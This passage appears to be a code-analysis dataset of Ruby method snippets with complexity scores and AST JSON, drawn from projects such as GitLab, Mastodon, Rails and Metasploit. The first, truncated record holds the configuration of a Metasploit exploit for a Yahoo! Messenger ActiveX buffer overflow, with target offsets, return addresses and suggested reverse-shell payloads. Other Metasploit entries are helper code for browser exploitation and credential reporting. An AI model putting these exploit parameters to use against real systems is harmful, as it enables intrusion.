=> UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX\\n\"]},{\"type\":\"str\",\"children\":[\" Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.\\n\"]},{\"type\":\"str\",\"children\":[\" By sending an overly long string to the \\\"Server()\\\" method, and then calling\\n\"]},{\"type\":\"str\",\"children\":[\" the \\\"Send()\\\" method, an attacker may be able to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\" Using the payloads \\\"windows/shell_bind_tcp\\\" and \\\"windows/shell_reverse_tcp\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" yield for the best results.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2007-3147\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"37082\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\t\\n\\r'\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0/SP1 Pro English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1032]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906979501]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro English All\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1032]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963076292]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-06-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"40f565ab-2e32-4eb7-905d-8a0beb1dc68c"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_button.rb","start_line":226,"raw_source":"def self.button_classes\n BUTTON_CLASSES.collect(&:name)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"button_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUTTON_CLASSES\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"49410507-5a19-454c-bef6-ebde4098c69f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/authorize_proxy_user_service.rb","start_line":8,"raw_source":"def initialize(current_user, agent)\n @current_user = current_user\n @agent = agent\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@agent\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]}","id":"1d52094b-eb90-48e1-9be2-9df9801cc8c0"} {"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":295,"raw_source":"def test_haml_tag_autoclosed_tags_are_closed_xhtml; skip\n assert_equal(\"<br class='foo' />\\n\", render(\"- haml_tag :br, :class => 'foo'\", :format => :xhtml))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_haml_tag_autoclosed_tags_are_closed_xhtml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<br class='foo' />\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"- haml_tag :br, :class => 'foo'\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"xhtml\"]}]}]}]}]}]}]}","id":"4935beec-435d-4460-90e2-41e5654b4f70"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_exploit_server.rb","start_line":268,"raw_source":"def retrieve_tag(cli, request)\n cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)\n tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first\n\n if tag.blank?\n # Browser probably doesn't allow cookies, plan B :-/\n vprint_status(\"No cookie received for #{cli.peerhost}, resorting to headers hash.\")\n ip = cli.peerhost\n os = request.headers['User-Agent']\n tag = Rex::Text.md5(\"#{ip}#{os}\")\n else\n vprint_status(\"Received cookie '#{tag}' from #{cli.peerhost}\")\n end\n\n tag\n end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"Cookie\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cookie\"]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"has_key?\",{\"type\":\"send\",\"children\":[null,\"cookie_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"cookie_name\"]}]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No cookie received for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\", resorting to headers hash.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"md5\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received cookie '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"str\",\"children\":[\"' from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}","id":"000e2633-1aa6-4bc7-b63f-d531ef3eb029"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/users_finder.rb","start_line":33,"raw_source":"def initialize(current_user, params = {})\n @current_user = current_user\n @params = params\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"96aa01d2-5b9b-4f4b-b3d1-6a498e8e3efc"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_matcher_directive.rb","start_line":110,"raw_source":"def directive_offense_type(directive, actual_name)\n return :missing_directive unless directive\n\n return :wrong_scope if wrong_scope?(directive, actual_name)\n return :no_scope if no_scope?(directive, actual_name)\n\n # The method directive being prefixed by 'self.' is always an offense.\n # The matched method_name does not contain the receiver but the\n # def_node_match method name may so it must be removed.\n if directive[:method_name] != remove_receiver(actual_name) || directive[:receiver]\n :wrong_name\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"directive_offense_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directive\"]},{\"type\":\"arg\",\"children\":[\"actual_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_directive\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrong_scope?\",{\"type\":\"lvar\",\"children\":[\"directive\"]},{\"type\":\"lvar\",\"children\":[\"actual_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_scope\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_scope?\",{\"type\":\"lvar\",\"children\":[\"directive\"]},{\"type\":\"lvar\",\"children\":[\"actual_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_scope\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method_name\"]}]},\"!=\",{\"type\":\"send\",\"children\":[null,\"remove_receiver\",{\"type\":\"lvar\",\"children\":[\"actual_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"receiver\"]}]}]},{\"type\":\"sym\",\"children\":[\"wrong_name\"]},null]}]}]}","id":"6b4bf967-eaf1-4a68-b939-c291e076dcf5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/merge_requests/locked_set.rb","start_line":44,"raw_source":"def self.with(rescue_connection_error: true, &block)\n Gitlab::Redis::SharedState.with(&block) # rubocop: disable CodeReuse/ActiveRecord -- false positive\n rescue ::Redis::BaseConnectionError => e\n raise e unless rescue_connection_error\n\n # Do not raise an error if we cannot connect to Redis. If\n # Redis::SharedState is unavailable it should not take the site down.\n nil\n end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"rescue_connection_error\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"BaseConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescue_connection_error\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"1a7557c6-ed07-43cb-8f62-5a5caf400c8e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/tags/tag_list.rb","start_line":62,"raw_source":"def extract_and_apply_options!(args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.assert_valid_keys :parse, :parser\n\n parser = options[:parser] || @parser\n\n args.map! { |a| parser.new(a).parse } if options[:parse] || options[:parser]\n\n args.flatten!\n end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_and_apply_options!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"last\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"pop\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"sym\",\"children\":[\"parser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parser\"]}]},{\"type\":\"ivar\",\"children\":[\"@parser\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parse\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parser\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"a\"]}]},\"parse\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flatten!\"]}]}]}","id":"8553175c-e616-4400-b92e-3427afda7f87"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/capabilities/filters/capability_filter.rb","start_line":38,"raw_source":"def where\n operator_strategy.sql_for_field(values, \"capabilities\", self.class.key)\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_strategy\"]},\"sql_for_field\",{\"type\":\"send\",\"children\":[null,\"values\"]},{\"type\":\"str\",\"children\":[\"capabilities\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"key\"]}]}]}","id":"4dc0b867-fb06-4165-bd19-8f004ade83d5"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/tag_manager.rb","start_line":133,"raw_source":"def collection_uri_for(target, ...)\n raise ArgumentError, 'target must be a local account' unless target.local?\n\n target.numeric_ap_id? ? ap_account_collection_url(target.id, ...) : account_collection_url(target, ...)\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_uri_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"forward_arg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"local?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"target must be a local account\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"numeric_ap_id?\"]},{\"type\":\"send\",\"children\":[null,\"ap_account_collection_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"id\"]},{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"account_collection_url\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}]}","id":"3ee89bbf-baf7-4efb-b9c4-3fb5e8576c0d"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/template/handlers/erb/erubi.rb","start_line":65,"raw_source":"def add_code(code)\n flush_newline_if_pending(src)\n super\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flush_newline_if_pending\",{\"type\":\"send\",\"children\":[null,\"src\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8acf5e16-338f-4d71-9e2c-628b49594d24"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb","start_line":89,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n\n login_data = {\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::UNTRIED,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"f65b5d33-a895-4d7c-ac00-c40a9adc7cda"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/contact_inbox.rb","start_line":69,"raw_source":"def validate_whatsapp_source_id\n return if WHATSAPP_CHANNEL_REGEX.match?(source_id)\n\n errors.add(:source_id, \"invalid source id for whatsapp inbox. valid Regex #{WHATSAPP_CHANNEL_REGEX}\")\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_whatsapp_source_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WHATSAPP_CHANNEL_REGEX\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"source_id\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid source id for whatsapp inbox. valid Regex \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WHATSAPP_CHANNEL_REGEX\"]}]}]}]}]}]}","id":"78e70d01-2919-425c-bb7b-c9d3c89d7d18"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/status_serializer.rb","start_line":63,"raw_source":"def visibility\n # This visibility is masked behind \"private\"\n # to avoid API changes because there are no\n # UX differences\n if object.limited_visibility?\n 'private'\n else\n object.visibility\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visibility\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"limited_visibility?\"]},{\"type\":\"str\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"visibility\"]}]}]}","id":"c05788de-d478-4ceb-9c5b-e4cfc70e9c79"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/context/test_function_processor.rb","start_line":47,"raw_source":"def test_unknown_function_id_returns_error\n bad_id = \"some-bad-id\"\n @custom_methods_repo.expects(:find).at_most_once.with(bad_id).returns(nil)\n\n assert_raises Holidays::FunctionNotFound do\n @subject.call(@input, bad_id, @func_args, @func_modifier)\n end\n end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unknown_function_id_returns_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bad_id\",{\"type\":\"str\",\"children\":[\"some-bad-id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_methods_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"find\"]}]},\"at_most_once\"]},\"with\",{\"type\":\"lvar\",\"children\":[\"bad_id\"]}]},\"returns\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"FunctionNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@input\"]},{\"type\":\"lvar\",\"children\":[\"bad_id\"]},{\"type\":\"ivar\",\